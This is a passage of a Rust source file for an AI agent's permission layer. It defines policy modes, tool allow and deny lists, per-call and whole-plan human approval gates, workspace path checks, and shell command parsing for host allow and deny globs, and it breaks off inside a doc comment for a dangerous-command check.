Skip to main content

rx4/
permissions.rs

1//! Permissions: policy modes, allow/deny lists, host Approver / Authorizer (pi beforeToolCall).
2//!
3//! **Ask semantics:** when policy yields `Decision::Ask` and an [`Approver`] is set,
4//! `authorize*` calls `Approver::approve` synchronously (may block). If that returns
5//! Allow/Deny, the tool continues or stops in the same turn. Without an Approver,
6//! the agent emits `ApprovalRequired` and fails the tool with `"approval required"`.
7//! Use [`ChannelApprover`] for UI-driven blocking approval.
8
9use crate::agent::ToolCall;
10use serde::{Deserialize, Serialize};
11use std::path::{Component, Path, PathBuf};
12
13pub mod shell_scan;
14
15pub use shell_scan::scannable_command;
16
17#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
18#[serde(rename_all = "snake_case")]
19pub enum PermissionMode {
20    FullAccess,
21    ReadOnly,
22    WorkspaceWrite,
23    DenyAll,
24}
25
26#[derive(Debug, Clone, Serialize, Deserialize)]
27pub struct Policy {
28    pub mode: PermissionMode,
29    #[serde(skip_serializing_if = "Vec::is_empty", default)]
30    pub allowlist: Vec<String>,
31    #[serde(skip_serializing_if = "Vec::is_empty", default)]
32    pub denylist: Vec<String>,
33    /// When true, hosts/Agent should enable OS seatbelt/bwrap for process tools.
34    #[serde(default)]
35    pub enable_os_sandbox: bool,
36    /// Host-owned shell allow globs for process tools, e.g. `git *`, `cargo test*`.
37    /// When non-empty, every shell segment must match some pattern (after deny/dangerous).
38    /// Engine only matches; hosts fill the lists.
39    #[serde(skip_serializing_if = "Vec::is_empty", default)]
40    pub shell_allow: Vec<String>,
41    /// Host-owned shell deny globs for process tools (any matching segment → Deny).
42    #[serde(skip_serializing_if = "Vec::is_empty", default)]
43    pub shell_deny: Vec<String>,
44    /// When true (default), apply built-in dangerous-shell hard-deny under non-FullAccess.
45    /// Hosts that fully own shell policy can set false and use hooks/Authorizer instead.
46    #[serde(default = "default_true")]
47    pub enforce_dangerous_shell: bool,
48    #[serde(skip_serializing_if = "Vec::is_empty", default)]
49    pub exec_prefixes: Vec<ExecPrefixRule>,
50}
51
52fn default_true() -> bool {
53    true
54}
55
56impl Policy {
57    pub fn full_access() -> Self {
58        Self {
59            mode: PermissionMode::FullAccess,
60            allowlist: vec![],
61            denylist: vec![],
62            enable_os_sandbox: false,
63            shell_allow: vec![],
64            shell_deny: vec![],
65            enforce_dangerous_shell: true,
66            exec_prefixes: vec![],
67        }
68    }
69    pub fn read_only() -> Self {
70        Self {
71            mode: PermissionMode::ReadOnly,
72            allowlist: vec![],
73            denylist: vec![],
74            enable_os_sandbox: false,
75            shell_allow: vec![],
76            shell_deny: vec![],
77            enforce_dangerous_shell: true,
78            exec_prefixes: vec![],
79        }
80    }
81    pub fn workspace_write() -> Self {
82        Self {
83            mode: PermissionMode::WorkspaceWrite,
84            allowlist: vec![],
85            denylist: vec![],
86            enable_os_sandbox: true,
87            shell_allow: vec![],
88            shell_deny: vec![],
89            enforce_dangerous_shell: true,
90            exec_prefixes: vec![],
91        }
92    }
93    pub fn deny_all() -> Self {
94        Self {
95            mode: PermissionMode::DenyAll,
96            allowlist: vec![],
97            denylist: vec![],
98            enable_os_sandbox: false,
99            shell_allow: vec![],
100            shell_deny: vec![],
101            enforce_dangerous_shell: true,
102            exec_prefixes: vec![],
103        }
104    }
105
106    /// Enable or disable OS sandbox plugin flag (seatbelt/bwrap).
107    pub fn with_os_sandbox(mut self, enabled: bool) -> Self {
108        self.enable_os_sandbox = enabled;
109        self
110    }
111
112    pub fn with_shell_allow(
113        mut self,
114        patterns: impl IntoIterator<Item = impl Into<String>>,
115    ) -> Self {
116        self.shell_allow = patterns.into_iter().map(Into::into).collect();
117        self
118    }
119
120    pub fn with_shell_deny(
121        mut self,
122        patterns: impl IntoIterator<Item = impl Into<String>>,
123    ) -> Self {
124        self.shell_deny = patterns.into_iter().map(Into::into).collect();
125        self
126    }
127
128    pub fn with_enforce_dangerous_shell(mut self, enabled: bool) -> Self {
129        self.enforce_dangerous_shell = enabled;
130        self
131    }
132
133    pub fn with_exec_prefixes(mut self, rules: impl IntoIterator<Item = ExecPrefixRule>) -> Self {
134        self.exec_prefixes = rules.into_iter().collect();
135        self
136    }
137
138    /// Apply a scope/profile policy's mode (+ sandbox flag) without wiping host-owned fields.
139    /// Preserves: `shell_allow`, `shell_deny`, `enforce_dangerous_shell`, `allowlist`, `denylist`.
140    pub fn apply_scope(&mut self, scope_policy: &Policy) {
141        self.mode = scope_policy.mode;
142        self.enable_os_sandbox = scope_policy.enable_os_sandbox;
143    }
144
145    /// Builder form of [`Self::apply_scope`].
146    pub fn with_scope(mut self, scope_policy: &Policy) -> Self {
147        self.apply_scope(scope_policy);
148        self
149    }
150}
151
152impl Default for Policy {
153    /// Secure default matches `Agent::new` — not full access.
154    fn default() -> Self {
155        Self::workspace_write()
156    }
157}
158
159#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
160pub enum Decision {
161    Allow,
162    Deny,
163    Ask,
164}
165
166#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
167pub struct ExecPrefixRule {
168    pub prefix: String,
169    pub decision: Decision,
170}
171
172fn match_exec_prefix<'a>(command: &str, rules: &'a [ExecPrefixRule]) -> Option<&'a ExecPrefixRule> {
173    let trimmed = command.trim_start();
174    rules.iter().find(|r| {
175        !r.prefix.is_empty() && (trimmed.starts_with(&r.prefix) || command.starts_with(&r.prefix))
176    })
177}
178
179#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
180pub struct WorktreeClaim {
181    pub root: PathBuf,
182}
183
184impl WorktreeClaim {
185    pub fn new(root: impl Into<PathBuf>) -> Self {
186        Self { root: root.into() }
187    }
188
189    pub fn allows(&self, path: &Path) -> bool {
190        let claimed = normalize_lexically(&self.root);
191        let target = if path.is_absolute() {
192            normalize_lexically(path)
193        } else {
194            normalize_lexically(&self.root.join(path))
195        };
196        target == claimed || target.starts_with(&claimed)
197    }
198}
199
200/// Rich approval payload for host UX (Codex-style ask).
201#[derive(Debug, Clone, Serialize, Deserialize)]
202pub struct ApprovalRequest {
203    pub call_id: String,
204    pub tool_name: String,
205    pub arguments: String,
206    pub reason: String,
207    pub policy_mode: String,
208    pub is_process_tool: bool,
209    pub is_write_tool: bool,
210}
211
212impl ApprovalRequest {
213    pub fn from_call(call: &ToolCall, policy: &Policy) -> Self {
214        let name = call.name.as_str();
215        Self {
216            call_id: call.id.clone(),
217            tool_name: call.name.clone(),
218            arguments: call.arguments.clone(),
219            reason: format!(
220                "policy {:?} requires approval for tool `{name}`",
221                policy.mode
222            ),
223            policy_mode: format!("{:?}", policy.mode),
224            is_process_tool: is_process_tool(name),
225            is_write_tool: is_write_tool(name),
226        }
227    }
228}
229
230/// Approver trait — hosts implement this to prompt the user (codex-rs pattern).
231pub trait Approver: Send + Sync {
232    fn approve(&self, tool_call: &ToolCall) -> Decision;
233}
234
235/// Always-allow approver (for testing / yolo mode).
236pub struct AlwaysAllow;
237impl Approver for AlwaysAllow {
238    fn approve(&self, _call: &ToolCall) -> Decision {
239        Decision::Allow
240    }
241}
242
243/// Always-deny approver.
244pub struct AlwaysDeny;
245impl Approver for AlwaysDeny {
246    fn approve(&self, _call: &ToolCall) -> Decision {
247        Decision::Deny
248    }
249}
250
251/// Blocking approver for hosts: sends each pending tool call on a channel and waits
252/// for a [`Decision`]. Pair with a UI thread that receives and replies.
253///
254/// ```ignore
255/// let (approver, rx) = ChannelApprover::pair();
256/// agent.set_approver(Arc::new(approver));
257/// // UI thread:
258/// let (call, reply) = rx.recv().unwrap();
259/// reply.send(Decision::Allow).ok();
260/// ```
261pub struct ChannelApprover {
262    tx: parking_lot::Mutex<std::sync::mpsc::Sender<(ToolCall, std::sync::mpsc::Sender<Decision>)>>,
263}
264
265impl ChannelApprover {
266    /// Create approver + receiver of `(ToolCall, reply_tx)`.
267    pub fn pair() -> (
268        Self,
269        std::sync::mpsc::Receiver<(ToolCall, std::sync::mpsc::Sender<Decision>)>,
270    ) {
271        let (tx, rx) = std::sync::mpsc::channel();
272        (
273            Self {
274                tx: parking_lot::Mutex::new(tx),
275            },
276            rx,
277        )
278    }
279}
280
281impl Approver for ChannelApprover {
282    fn approve(&self, tool_call: &ToolCall) -> Decision {
283        let (reply_tx, reply_rx) = std::sync::mpsc::channel();
284        if self.tx.lock().send((tool_call.clone(), reply_tx)).is_err() {
285            return Decision::Deny;
286        }
287        reply_rx.recv().unwrap_or(Decision::Deny)
288    }
289}
290
291/// Async host Approver (pi `beforeToolCall` is Promise/async). Prefer for non-blocking UI.
292#[async_trait::async_trait]
293pub trait AsyncApprover: Send + Sync {
294    async fn approve(&self, tool_call: &ToolCall) -> Decision;
295}
296
297/// Tokio mpsc + oneshot Approver (async ChannelApprover).
298pub struct ChannelAsyncApprover {
299    tx: tokio::sync::mpsc::Sender<(ToolCall, tokio::sync::oneshot::Sender<Decision>)>,
300}
301
302impl ChannelAsyncApprover {
303    pub fn pair() -> (
304        Self,
305        tokio::sync::mpsc::Receiver<(ToolCall, tokio::sync::oneshot::Sender<Decision>)>,
306    ) {
307        let (tx, rx) = tokio::sync::mpsc::channel(32);
308        (Self { tx }, rx)
309    }
310}
311
312#[async_trait::async_trait]
313impl AsyncApprover for ChannelAsyncApprover {
314    async fn approve(&self, tool_call: &ToolCall) -> Decision {
315        let (reply_tx, reply_rx) = tokio::sync::oneshot::channel();
316        if self.tx.send((tool_call.clone(), reply_tx)).await.is_err() {
317            return Decision::Deny;
318        }
319        reply_rx.await.unwrap_or(Decision::Deny)
320    }
321}
322
323/// What the agent intends to do this turn, presented for approval before any
324/// of it runs.
325///
326/// [`Approver`] and [`AsyncApprover`] gate one tool call at a time, which
327/// answers "may I run `rm`?" but never "is this the right approach?". A plan
328/// gate answers the second question: the host sees the agent's stated intent
329/// together with the concrete calls it is about to make, and decides once for
330/// the whole batch.
331#[derive(Debug, Clone, Serialize, Deserialize)]
332pub struct PlanProposal {
333    /// The user prompt that produced this plan.
334    pub prompt: String,
335    /// The assistant's own narration of what it intends to do. Empty when the
336    /// model emitted tool calls with no accompanying text.
337    pub plan: String,
338    /// The calls the agent will make if the plan is approved.
339    pub calls: Vec<ToolCall>,
340    /// Which tool iteration this is, so a host can gate only the first.
341    pub turn: usize,
342}
343
344impl PlanProposal {
345    /// Render the proposal as text a human can approve or reject.
346    pub fn render(&self) -> String {
347        let mut out = String::new();
348        if !self.plan.trim().is_empty() {
349            out.push_str(self.plan.trim());
350            out.push_str("\n\n");
351        }
352        out.push_str("Planned steps:\n");
353        for (i, call) in self.calls.iter().enumerate() {
354            out.push_str(&format!("  {}. {}({})\n", i + 1, call.name, call.arguments));
355        }
356        out
357    }
358}
359
360/// The host's answer to a [`PlanProposal`].
361#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
362pub enum PlanDecision {
363    /// Run the plan as proposed.
364    Approve,
365    /// Abandon the turn. The reason is surfaced to the model and the caller.
366    Reject(String),
367    /// Do not run the plan; feed this guidance back to the model and let it
368    /// propose again.
369    Revise(String),
370}
371
372/// Pluggable whole-plan gate, run before the first tool call of a turn.
373///
374/// Async by design, mirroring [`AsyncApprover`]: a host that has to ask a
375/// human over a chat channel can await the reply inside `approve_plan`, so
376/// approval can span inbound messages without the engine knowing.
377///
378/// This composes with, rather than replaces, per-tool approval — an approved
379/// plan still has each of its calls checked by the [`Authorizer`] and
380/// [`Approver`].
381#[async_trait::async_trait]
382pub trait PlanApprover: Send + Sync {
383    async fn approve_plan(&self, proposal: &PlanProposal) -> PlanDecision;
384}
385
386/// Always-approve plan gate (for testing and non-interactive hosts).
387pub struct AlwaysApprovePlan;
388
389#[async_trait::async_trait]
390impl PlanApprover for AlwaysApprovePlan {
391    async fn approve_plan(&self, _proposal: &PlanProposal) -> PlanDecision {
392        PlanDecision::Approve
393    }
394}
395
396/// Tokio mpsc + oneshot plan gate, for hosts that answer on another task.
397pub struct ChannelPlanApprover {
398    tx: tokio::sync::mpsc::Sender<(PlanProposal, tokio::sync::oneshot::Sender<PlanDecision>)>,
399}
400
401impl ChannelPlanApprover {
402    #[allow(clippy::type_complexity)]
403    pub fn pair() -> (
404        Self,
405        tokio::sync::mpsc::Receiver<(PlanProposal, tokio::sync::oneshot::Sender<PlanDecision>)>,
406    ) {
407        let (tx, rx) = tokio::sync::mpsc::channel(32);
408        (Self { tx }, rx)
409    }
410}
411
412#[async_trait::async_trait]
413impl PlanApprover for ChannelPlanApprover {
414    async fn approve_plan(&self, proposal: &PlanProposal) -> PlanDecision {
415        let (reply_tx, reply_rx) = tokio::sync::oneshot::channel();
416        if self.tx.send((proposal.clone(), reply_tx)).await.is_err() {
417            return PlanDecision::Reject("plan approver channel closed".to_string());
418        }
419        reply_rx
420            .await
421            .unwrap_or_else(|_| PlanDecision::Reject("plan approver dropped".to_string()))
422    }
423}
424
425/// Pluggable pre-tool gate (pi `beforeToolCall` shape).
426/// Engine calls this before executing tools; hosts supply product policy.
427pub trait Authorizer: Send + Sync {
428    fn authorize(
429        &self,
430        policy: &Policy,
431        tool_name: &str,
432        arguments: &str,
433        approver: Option<&dyn Approver>,
434        workspace_root: Option<&Path>,
435    ) -> Decision;
436}
437
438#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
439pub struct WritePathSchedule {
440    pub paths: Option<Vec<PathBuf>>,
441}
442
443impl WritePathSchedule {
444    pub fn whole_workspace() -> Self {
445        Self { paths: None }
446    }
447
448    pub fn only(paths: impl IntoIterator<Item = PathBuf>) -> Self {
449        Self {
450            paths: Some(paths.into_iter().collect()),
451        }
452    }
453
454    pub fn serialize_writes(&self) -> bool {
455        self.paths.is_none()
456    }
457
458    pub fn allows(&self, workspace_root: &Path, path: &str) -> bool {
459        match &self.paths {
460            None => !path_outside_workspace(workspace_root, path),
461            Some(allowed) => {
462                let requested = Path::new(path);
463                let joined = if requested.is_absolute() {
464                    requested.to_path_buf()
465                } else {
466                    workspace_root.join(requested)
467                };
468                let canon = normalize_lexically(&joined);
469                allowed.iter().any(|allowed| {
470                    let a = if allowed.is_absolute() {
471                        normalize_lexically(allowed)
472                    } else {
473                        normalize_lexically(&workspace_root.join(allowed))
474                    };
475                    canon == a || canon.starts_with(&a)
476                })
477            }
478        }
479    }
480}
481
482pub type GuardianReview =
483    std::sync::Arc<dyn Fn(&ToolCall) -> Result<Decision, String> + Send + Sync>;
484
485pub struct GuardianAuthorizer {
486    review: Option<GuardianReview>,
487}
488
489impl GuardianAuthorizer {
490    pub fn fail_closed() -> Self {
491        Self { review: None }
492    }
493
494    pub fn with_review(
495        review: impl Fn(&ToolCall) -> Result<Decision, String> + Send + Sync + 'static,
496    ) -> Self {
497        Self {
498            review: Some(std::sync::Arc::new(review)),
499        }
500    }
501}
502
503impl Authorizer for GuardianAuthorizer {
504    fn authorize(
505        &self,
506        policy: &Policy,
507        tool_name: &str,
508        arguments: &str,
509        approver: Option<&dyn Approver>,
510        workspace_root: Option<&Path>,
511    ) -> Decision {
512        let call = ToolCall {
513            id: "guardian".into(),
514            name: tool_name.to_string(),
515            arguments: arguments.to_string(),
516        };
517        let reviewed = match &self.review {
518            None => return Decision::Deny,
519            Some(review) => match review(&call) {
520                Ok(decision) => decision,
521                Err(_) => return Decision::Deny,
522            },
523        };
524        if reviewed == Decision::Deny {
525            return Decision::Deny;
526        }
527        PolicyAuthorizer.authorize(policy, tool_name, arguments, approver, workspace_root)
528    }
529}
530
531/// Default authorizer: evaluates [`Policy`] (modes, lists, host shell globs, optional dangerous deny).
532#[derive(Debug, Clone, Default)]
533pub struct PolicyAuthorizer;
534
535impl PolicyAuthorizer {
536    pub fn new() -> Self {
537        Self
538    }
539}
540
541impl Authorizer for PolicyAuthorizer {
542    fn authorize(
543        &self,
544        policy: &Policy,
545        tool_name: &str,
546        arguments: &str,
547        approver: Option<&dyn Approver>,
548        workspace_root: Option<&Path>,
549    ) -> Decision {
550        authorize_with_workspace(policy, tool_name, arguments, approver, workspace_root)
551    }
552}
553
554pub struct WorktreeAuthorizer {
555    pub claim: WorktreeClaim,
556}
557
558impl WorktreeAuthorizer {
559    pub fn new(claim: WorktreeClaim) -> Self {
560        Self { claim }
561    }
562}
563
564impl Authorizer for WorktreeAuthorizer {
565    fn authorize(
566        &self,
567        policy: &Policy,
568        tool_name: &str,
569        arguments: &str,
570        approver: Option<&dyn Approver>,
571        workspace_root: Option<&Path>,
572    ) -> Decision {
573        if is_write_tool(tool_name) || is_process_tool(tool_name) {
574            if let Some(path) = path_from_args(arguments) {
575                let p = Path::new(&path);
576                let joined = if p.is_absolute() {
577                    p.to_path_buf()
578                } else if let Some(root) = workspace_root {
579                    root.join(p)
580                } else {
581                    self.claim.root.join(p)
582                };
583                if !self.claim.allows(&joined) {
584                    return Decision::Deny;
585                }
586            }
587        }
588        PolicyAuthorizer.authorize(policy, tool_name, arguments, approver, workspace_root)
589    }
590}
591
592/// True when `path` escapes `workspace_root` (absolute or after `..` resolution).
593pub fn path_outside_workspace(workspace_root: &Path, path: &str) -> bool {
594    let p = Path::new(path);
595    let joined = if p.is_absolute() {
596        p.to_path_buf()
597    } else {
598        workspace_root.join(p)
599    };
600    let canon = normalize_lexically(&joined);
601    let root = normalize_lexically(workspace_root);
602    !canon.starts_with(&root)
603}
604
605fn normalize_lexically(path: &Path) -> PathBuf {
606    let mut out = PathBuf::new();
607    for c in path.components() {
608        match c {
609            Component::ParentDir => {
610                out.pop();
611            }
612            Component::CurDir => {}
613            other => out.push(other.as_os_str()),
614        }
615    }
616    out
617}
618
619fn path_from_args(arguments: &str) -> Option<String> {
620    let v: serde_json::Value = serde_json::from_str(arguments).ok()?;
621    for key in ["path", "file", "file_path"] {
622        if let Some(s) = v.get(key).and_then(|x| x.as_str()) {
623            return Some(s.to_string());
624        }
625    }
626    None
627}
628
629pub fn authorize(
630    policy: &Policy,
631    tool_name: &str,
632    arguments: &str,
633    approver: Option<&dyn Approver>,
634) -> Decision {
635    authorize_with_workspace(policy, tool_name, arguments, approver, None)
636}
637
638pub fn authorize_with_workspace(
639    policy: &Policy,
640    tool_name: &str,
641    arguments: &str,
642    approver: Option<&dyn Approver>,
643    workspace_root: Option<&Path>,
644) -> Decision {
645    if policy.denylist.iter().any(|d| d == tool_name) {
646        return Decision::Deny;
647    }
648    // Allowlist = tool eligibility only; still run path/shell hard gates below.
649    let on_allowlist =
650        policy.allowlist.is_empty() || policy.allowlist.iter().any(|a| a == tool_name);
651    if !policy.allowlist.is_empty() && !on_allowlist {
652        return Decision::Deny;
653    }
654
655    if matches!(
656        policy.mode,
657        PermissionMode::WorkspaceWrite | PermissionMode::ReadOnly
658    ) && is_write_tool(tool_name)
659    {
660        if let (Some(root), Some(path)) = (workspace_root, path_from_args(arguments)) {
661            if path_outside_workspace(root, &path) {
662                return Decision::Deny;
663            }
664        }
665    }
666
667    if is_process_tool(tool_name) {
668        if let Some(cmd) = command_from_args(arguments) {
669            if let Some(rule) = match_exec_prefix(&cmd, &policy.exec_prefixes) {
670                if rule.decision == Decision::Ask {
671                    if let Some(app) = approver {
672                        let call = ToolCall {
673                            id: String::new(),
674                            name: tool_name.to_string(),
675                            arguments: arguments.to_string(),
676                        };
677                        return app.approve(&call);
678                    }
679                }
680                return rule.decision;
681            }
682        }
683    }
684
685    if is_process_tool(tool_name) && policy.mode != PermissionMode::FullAccess {
686        if let Some(cmd) = command_from_args(arguments) {
687            if policy.enforce_dangerous_shell && is_dangerous_shell_command(&cmd) {
688                return Decision::Deny;
689            }
690            // Deny: any segment matches any deny pattern.
691            if !policy.shell_deny.is_empty() && shell_command_matches_any(&cmd, &policy.shell_deny)
692            {
693                return Decision::Deny;
694            }
695            // Reject auto-allow when command contains syntax the matcher cannot
696            // conservatively understand (command substitution, backticks,
697            // redirections, newlines). Fall through to mode decision / Ask.
698            if !policy.shell_allow.is_empty()
699                && !has_unsupported_shell_syntax(&cmd)
700                && shell_command_matches_all(&cmd, &policy.shell_allow)
701            {
702                return Decision::Allow;
703            }
704        }
705    }
706
707    // Eligible tools on host allowlist auto-Allow only after hard gates above.
708    if !policy.allowlist.is_empty() && on_allowlist {
709        return Decision::Allow;
710    }
711
712    let mode_decision = match policy.mode {
713        PermissionMode::FullAccess => Decision::Allow,
714        PermissionMode::DenyAll => Decision::Deny,
715        PermissionMode::ReadOnly => {
716            if is_read_only_tool(tool_name) {
717                Decision::Allow
718            } else {
719                Decision::Ask
720            }
721        }
722        PermissionMode::WorkspaceWrite => {
723            // Read + workspace write tools auto-allow; bash/process and other tools Ask.
724            if is_read_only_tool(tool_name) || is_write_tool(tool_name) {
725                Decision::Allow
726            } else {
727                Decision::Ask
728            }
729        }
730    };
731    if mode_decision == Decision::Ask {
732        if let Some(app) = approver {
733            let call = ToolCall {
734                id: String::new(),
735                name: tool_name.to_string(),
736                arguments: arguments.to_string(),
737            };
738            return app.approve(&call);
739        }
740    }
741    mode_decision
742}
743
744pub fn is_read_only_tool(name: &str) -> bool {
745    matches!(
746        name,
747        "read"
748            | "read_file"
749            | "ls"
750            | "list_dir"
751            | "find"
752            | "find_files"
753            | "grep"
754            | "code_intel"
755            | "cu_list"
756            | "web_fetch"
757            | "web_search"
758            | "darash"
759            | "darash_search"
760            | "enter_plan_mode"
761            | "exit_plan_mode"
762    ) || name.starts_with("lsp_")
763}
764
765/// Returns true when the tool mutates workspace files (write/edit family).
766pub fn is_write_tool(name: &str) -> bool {
767    matches!(
768        name,
769        "write"
770            | "write_file"
771            | "edit"
772            | "hashline_edit"
773            | "search_replace"
774            | "apply_patch"
775            | "todo"
776    )
777}
778
779/// Returns true when the tool is a shell/process executor.
780pub fn is_process_tool(name: &str) -> bool {
781    matches!(name, "bash" | "run_command" | "spawn_agent")
782}
783
784pub fn command_from_args(arguments: &str) -> Option<String> {
785    let v: serde_json::Value = serde_json::from_str(arguments).ok()?;
786    for key in ["command", "cmd"] {
787        if let Some(s) = v.get(key).and_then(|x| x.as_str()) {
788            return Some(s.to_string());
789        }
790    }
791    None
792}
793
794/// Returns true when `command` contains shell syntax that auto-allow rules
795/// cannot conservatively understand: command substitution, backtick expansion,
796/// redirections, or newline-separated commands.  When this returns true,
797/// automatic allow matching must yield Ask/Deny — never Allow.
798pub fn has_unsupported_shell_syntax(command: &str) -> bool {
799    let bytes = command.as_bytes();
800    let len = bytes.len();
801    let mut i = 0;
802    let mut in_single = false;
803    let mut in_double = false;
804    while i < len {
805        let c = bytes[i];
806        if in_single {
807            if c == 0x5c {
808                i += 2;
809                continue;
810            }
811            if c == 0x27 {
812                in_single = false;
813            }
814            i += 1;
815            continue;
816        }
817        if in_double {
818            if c == 0x5c {
819                i += 2;
820                continue;
821            }
822            if c == 0x22 {
823                in_double = false;
824            }
825            if c == 0x24 && i + 1 < len && bytes[i + 1] == 0x28 {
826                return true;
827            }
828            i += 1;
829            continue;
830        }
831        match c {
832            0x5c => {
833                i += 2;
834                continue;
835            }
836            0x27 => {
837                in_single = true;
838                i += 1;
839                continue;
840            }
841            0x22 => {
842                in_double = true;
843                i += 1;
844                continue;
845            }
846            0x24 if i + 1 < len && bytes[i + 1] == 0x28 => return true,
847            0x60 | 0x3e | 0x3c => return true,
848            0x0a | 0x0d => return true,
849            _ => {}
850        }
851        i += 1;
852    }
853    false
854}
855
856/// Glob-ish match: `*` = any substring, case-sensitive on remaining parts.
857pub fn shell_rule_matches(pattern: &str, command: &str) -> bool {
858    shell_segments(command)
859        .into_iter()
860        .any(|seg| shell_rule_matches_segment(pattern, &seg))
861}
862
863fn shell_rule_matches_segment(pattern: &str, command: &str) -> bool {
864    let cmd = command.trim();
865    let pat = pattern.trim();
866    if pat.is_empty() {
867        return false;
868    }
869    if pat == "*" {
870        return true;
871    }
872    if !pat.contains('*') {
873        return cmd == pat || cmd.starts_with(&format!("{pat} "));
874    }
875    let parts: Vec<&str> = pat.split('*').collect();
876    let mut rest = cmd;
877    if let Some(first) = parts.first() {
878        if !first.is_empty() {
879            if !rest.starts_with(first) {
880                return false;
881            }
882            rest = &rest[first.len()..];
883        }
884    }
885    for (i, part) in parts.iter().enumerate().skip(1) {
886        if part.is_empty() {
887            if i == parts.len() - 1 {
888                return true;
889            }
890            continue;
891        }
892        if let Some(idx) = rest.find(part) {
893            rest = &rest[idx + part.len()..];
894        } else {
895            return false;
896        }
897    }
898    true
899}
900
901/// True if any pattern matches the command (segment-aware via [`shell_rule_matches`]).
902pub fn shell_command_allowed(command: &str, patterns: &[String]) -> bool {
903    shell_command_matches_any(command, patterns)
904}
905
906/// True if any shell segment of the command — or of its normalized form — matches
907/// any pattern (deny semantics).
908pub fn shell_command_matches_any(command: &str, patterns: &[String]) -> bool {
909    if patterns.iter().any(|p| shell_rule_matches(p, command)) {
910        return true;
911    }
912    let scannable = shell_scan::scannable_command(command);
913    scannable != command && patterns.iter().any(|p| shell_rule_matches(p, &scannable))
914}
915
916/// True if every shell segment matches at least one pattern (allow semantics),
917/// checked on both the raw command and its normalized form.
918pub fn shell_command_matches_all(command: &str, patterns: &[String]) -> bool {
919    if !segments_all_match(command, patterns) {
920        return false;
921    }
922    let scannable = shell_scan::scannable_command(command);
923    scannable == command || segments_all_match(&scannable, patterns)
924}
925
926fn segments_all_match(command: &str, patterns: &[String]) -> bool {
927    let segs = shell_segments(command);
928    if segs.is_empty() {
929        return false;
930    }
931    segs.iter()
932        .all(|seg| patterns.iter().any(|p| shell_rule_matches_segment(p, seg)))
933}
934
935/// Split on shell list/pipe operators outside quotes (`|`, `||`, `&`, `&&`, `;`).
936pub fn shell_segments(command: &str) -> Vec<String> {
937    let mut out = Vec::new();
938    let mut cur = String::new();
939    let mut chars = command.chars().peekable();
940    let mut quote: Option<char> = None;
941    let mut escaped = false;
942    while let Some(c) = chars.next() {
943        if escaped {
944            cur.push(c);
945            escaped = false;
946            continue;
947        }
948        if quote.is_none() && c == '\\' {
949            cur.push(c);
950            escaped = true;
951            continue;
952        }
953        if let Some(q) = quote {
954            cur.push(c);
955            if c == q {
956                quote = None;
957            }
958            continue;
959        }
960        if c == '\'' || c == '"' {
961            quote = Some(c);
962            cur.push(c);
963            continue;
964        }
965        if c == ';' {
966            push_seg(&mut out, &mut cur);
967            continue;
968        }
969        if c == '|' || c == '&' {
970            let doubled = chars.peek() == Some(&c);
971            if doubled {
972                chars.next();
973            }
974            push_seg(&mut out, &mut cur);
975            continue;
976        }
977        cur.push(c);
978    }
979    push_seg(&mut out, &mut cur);
980    if out.is_empty() {
981        out.push(command.trim().to_string());
982    }
983    out
984}
985
986fn push_seg(out: &mut Vec<String>, cur: &mut String) {
987    let s = cur.trim();
988    if !s.is_empty() {
989        out.push(s.to_string());
990    }
991    cur.clear();
992}
993
994/// One simple command as argv (quote-aware; no expansions).
995#[derive(Debug, Clone, PartialEq, Eq)]
996pub struct ShellSimple {
997    pub argv: Vec<String>,
998}
999
1000impl ShellSimple {
1001    pub fn binary(&self) -> Option<&str> {
1002        self.argv.first().map(|s| s.as_str())
1003    }
1004}
1005
1006/// Lightweight shell AST (not full bash).
1007#[derive(Debug, Clone, PartialEq, Eq)]
1008pub enum ShellNode {
1009    Pipeline(Vec<ShellSimple>),
1010    List(Vec<ShellNode>),
1011}
1012
1013/// Parse into pipelines of simple commands (quote-aware).
1014pub fn shell_ast(command: &str) -> ShellNode {
1015    let segs = shell_segments(command);
1016    if segs.is_empty() {
1017        return ShellNode::List(vec![]);
1018    }
1019    let mut pipes = Vec::new();
1020    for seg in segs {
1021        let simples: Vec<ShellSimple> = split_pipeline(&seg)
1022            .into_iter()
1023            .map(|s| ShellSimple {
1024                argv: shell_argv(&s),
1025            })
1026            .filter(|s| !s.argv.is_empty())
1027            .collect();
1028        if !simples.is_empty() {
1029            pipes.push(ShellNode::Pipeline(simples));
1030        }
1031    }
1032    if pipes.len() == 1 {
1033        pipes.pop().unwrap()
1034    } else {
1035        ShellNode::List(pipes)
1036    }
1037}
1038
1039fn split_pipeline(segment: &str) -> Vec<String> {
1040    // shell_segments already split on `|`; residual single piece.
1041    vec![segment.trim().to_string()]
1042}
1043
1044/// Quote-aware argv split (whitespace outside quotes).
1045#[allow(clippy::while_let_on_iterator)]
1046pub fn shell_argv(command: &str) -> Vec<String> {
1047    let mut out = Vec::new();
1048    let mut cur = String::new();
1049    let mut chars = command.chars().peekable();
1050    let mut quote: Option<char> = None;
1051    let mut escaped = false;
1052    #[allow(clippy::while_let_on_iterator)]
1053    while let Some(c) = chars.next() {
1054        if escaped {
1055            cur.push(c);
1056            escaped = false;
1057            continue;
1058        }
1059        if quote.is_none() && c == '\\' {
1060            escaped = true;
1061            continue;
1062        }
1063        if let Some(q) = quote {
1064            if c == q {
1065                quote = None;
1066            } else {
1067                cur.push(c);
1068            }
1069            continue;
1070        }
1071        if c == '\'' || c == '"' {
1072            quote = Some(c);
1073            continue;
1074        }
1075        if c.is_whitespace() {
1076            if !cur.is_empty() {
1077                out.push(std::mem::take(&mut cur));
1078            }
1079            continue;
1080        }
1081        cur.push(c);
1082    }
1083    if !cur.is_empty() {
1084        out.push(cur);
1085    }
1086    out
1087}
1088
1089/// Flatten AST to simple commands in order.
1090pub fn shell_simples(command: &str) -> Vec<ShellSimple> {
1091    fn walk(n: &ShellNode, out: &mut Vec<ShellSimple>) {
1092        match n {
1093            ShellNode::Pipeline(steps) => out.extend(steps.iter().cloned()),
1094            ShellNode::List(items) => {
1095                for i in items {
1096                    walk(i, out);
1097                }
1098            }
1099        }
1100    }
1101    let mut out = Vec::new();
1102    walk(&shell_ast(command), &mut out);
1103    out
1104}
1105
1106/// Hard-deny shell patterns under non-FullAccess modes (escape / wipe / remote pipe).
1107///
1108/// The command is first normalized with [`shell_scan::scannable_command`], so quoting,
